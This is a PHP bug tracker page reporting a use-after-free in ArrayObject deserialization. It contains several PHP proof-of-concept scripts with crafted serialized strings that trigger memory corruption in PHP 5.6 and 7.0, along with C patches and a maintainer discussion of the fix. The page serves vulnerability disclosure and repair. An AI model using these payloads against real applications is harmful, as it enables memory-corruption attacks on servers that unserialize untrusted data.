php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73144 Use-after-free in ArrayObject Deserialization
Submitted: 2016-09-22 15:24 UTC Modified: 2017-01-16 20:52 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: SPL related
PHP Version: 5.6.26 OS:
Private report: No CVE-ID:
 [2016-09-22 15:24 UTC] taoguangchen at icloud dot com
Description:
------------
i) Works on PHP 5.6

PoC:
```
<?php

$inner = 'x:i:1;O:8:"stdClass":1:{};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);

?>
```

ii) Works on PHP 5.6 & PHP 7.0

PoC:
```
<?php

$inner = 'x:i:1;O:8:"CURLFile":1:{s:4:"name";R:1;};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);

?>
```

Fix [against PHP 5.6]
```
diff --git a/ext/spl/spl_array.c b/ext/spl/spl_array.c
index ca93b18..0e81403 100644
--- a/ext/spl/spl_array.c
+++ b/ext/spl/spl_array.c
@@ -1757,7 +1757,7 @@ SPL_METHOD(Array, unserialize)
 	int buf_len;
 	const unsigned char *p, *s;
 	php_unserialize_data_t var_hash;
-	zval *pmembers, *pflags = NULL;
+	zval *array, *pmembers, *pflags = NULL;
 	HashTable *aht;
 	long flags;
 
@@ -1810,12 +1810,15 @@ SPL_METHOD(Array, unserialize)
 		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
 		zval_ptr_dtor(&intern->array);
 		ALLOC_INIT_ZVAL(intern->array);
-		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
-				|| (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
-				zval_ptr_dtor(&intern->array);
+		ALLOC_INIT_ZVAL(array);
+		if (!php_var_unserialize(&array, &p, s + buf_len, &var_hash TSRMLS_CC)
+				|| (Z_TYPE_P(array) != IS_ARRAY && Z_TYPE_P(array) != IS_OBJECT)) {
+				zval_ptr_dtor(&array);
 			goto outexcept;
 		}
-		var_push_dtor(&var_hash, &intern->array);
+		var_push_dtor_no_addref(&var_hash, &array);
+		intern->array = array;
+		Z_ADDREF_P(intern->array);
 	}
 	if (*p != ';') {
 		goto outexcept;
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-29 06:53 UTC] stas@php.net
I'm not sure why this helps - can't somebody from php_var_unserialize change array as well via reference?
 [2016-09-29 14:21 UTC] taoguangchen at icloud dot com
i)

```
SPL_METHOD(Array, unserialize)
{
...
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
				|| (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
			zval_ptr_dtor(&intern->array); <=== call to zval_ptr_dtor
			goto outexcept;
```

if php_var_unserialize() call fails, the `&intern->array` will be freed via zval_ptr_dtor().

```
	retval.handle = zend_objects_store_put(intern, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t) spl_array_object_free_storage, NULL TSRMLS_CC);
```

then call to spl_array_object_free_storage in during object destruction.

```
static void spl_array_object_free_storage(void *object TSRMLS_DC)
{
...
	zval_ptr_dtor(&intern->array); <=== call to zval_ptr_dtor again
```

the `&intern->array` will be freed again via zval_ptr_dtor(), this results in use-after-free/double-free.

ii)

```
static void spl_array_object_free_storage(void *object TSRMLS_DC)
{
	efree(object); <=== free memory
...
SPL_METHOD(Array, unserialize)
{
...
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
				|| (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
			zval_ptr_dtor(&intern->array); <=== use freed memory
			goto outexcept;
```

the CURLFile::__wakeup lead to object was freed from the memory, then call to zval_ptr_dtor handles `&intern->array`, this results in use-after-free/double-free.

so my solution used the `&array` instead of the `&intern->array`, and the solution can only solve this issue.
 [2016-10-24 04:55 UTC] stas@php.net
Looks like just deleting zval_ptr_dtor(&intern->array); also fixes it and does not add any new memory leaks, so I'm inclined to do that instead.
 [2016-10-24 05:02 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-10-24 05:02 UTC] stas@php.net
The fix is in security repo as 504ff0629f7ce8c0d4fc001673e6600f98b31e28 and in https://gist.github.com/38c86428a3a96df054223246ec7b936b

please verify
 [2016-10-24 05:33 UTC] taoguangchen at icloud dot com
The patch can fix this bug in 5.6, but I think the bug can be still triggered in 7.0 with special __wakeup(). You shouldn't use `&intern->array` in during call to php_var_unserialize.
 [2016-10-24 05:41 UTC] stas@php.net
Could you post the code for 7.0? Even better, submit is as a separate issue?
 [2016-10-24 05:46 UTC] taoguangchen at icloud dot com
You can test the second example in the original report, just need to used a special __wakeup() instead of the CURLFile::__wakeup().
 [2016-10-24 05:49 UTC] stas@php.net
I'm not sure I understand what "special wakeup" means. Please provide the code you were using, so we are sure we're talking about the same thing.
 [2016-10-24 11:38 UTC] taoguangchen at icloud dot com
```
<?php

class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = NULL;
    throw new Exception("Not a serializable object");
  }
}

$inner = 'x:i:1;O:3:"obj":1:{s:4:"ryat";R:1;};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);

?>
```
 [2016-10-24 11:49 UTC] taoguangchen at icloud dot com
Another way to trigger the bug

```
<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = NULL;
	}
}

$inner = 'x:i:1;O:3:"obj":1:{s:4:"ryat";R:2;};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
var_dump($data);

?>
```
 [2016-10-24 12:18 UTC] taoguangchen at icloud dot com
Fix:
```
diff --git a/ext/spl/spl_array.c b/ext/spl/spl_array.c
index fe38735..0bb018f 100644
--- a/ext/spl/spl_array.c
+++ b/ext/spl/spl_array.c
@@ -1740,7 +1740,7 @@ SPL_METHOD(Array, unserialize)
 	size_t buf_len;
 	const unsigned char *p, *s;
 	php_unserialize_data_t var_hash;
-	zval *members, *zflags;
+	zval *members, *zflags, *array;
 	zend_long flags;
 
 	if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &buf, &buf_len) == FAILURE) {
@@ -1790,11 +1790,12 @@ SPL_METHOD(Array, unserialize)
 		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
 		zval_ptr_dtor(&intern->array);
 		ZVAL_UNDEF(&intern->array);
-		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash)
-				|| (Z_TYPE(intern->array) != IS_ARRAY && Z_TYPE(intern->array) != IS_OBJECT)) {
+		array = var_tmp_var(&var_hash);
+		if (!php_var_unserialize(array, &p, s + buf_len, &var_hash)
+				|| (Z_TYPE_P(array) != IS_ARRAY && Z_TYPE_P(array) != IS_OBJECT)) {
 			goto outexcept;
 		}
-		var_push_dtor(&var_hash, &intern->array);
+		ZVAL_COPY(&intern->array, array);
 	}
 	if (*p != ';') {
 		goto outexcept;
```
 [2016-10-24 12:30 UTC] taoguangchen at icloud dot com
BTW, the above patch can only fix the issue of the `&intern->array` being freed in during call to the php_var_unserialize, can't fix the issue of the `ArrayObject` being freed.
 [2016-10-30 21:34 UTC] stas@php.net
This sounds like different, already existing, but report. In any case, please report different issues in different version separately, it's impossible to track several issues in one bug report.
 [2016-10-30 22:36 UTC] taoguangchen at icloud dot com
I know, but I don't like to report some similar issues separately, preferring to point out the some typical issues in the same type of issues, and I don't intend to repeat report some new issues in unserialize with __wakeup, since we still haven't a solution.
 [2016-11-09 01:02 UTC] tyrael@php.net
-Summary: Use-afte-free in ArrayObject Deserialization +Summary: Use-after-free in ArrayObject Deserialization
 [2017-01-16 20:52 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2017-01-16 20:52 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Looks like this is fixed by Nikita's __wakeup patch
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Apr 23 05:01:47 2017 UTC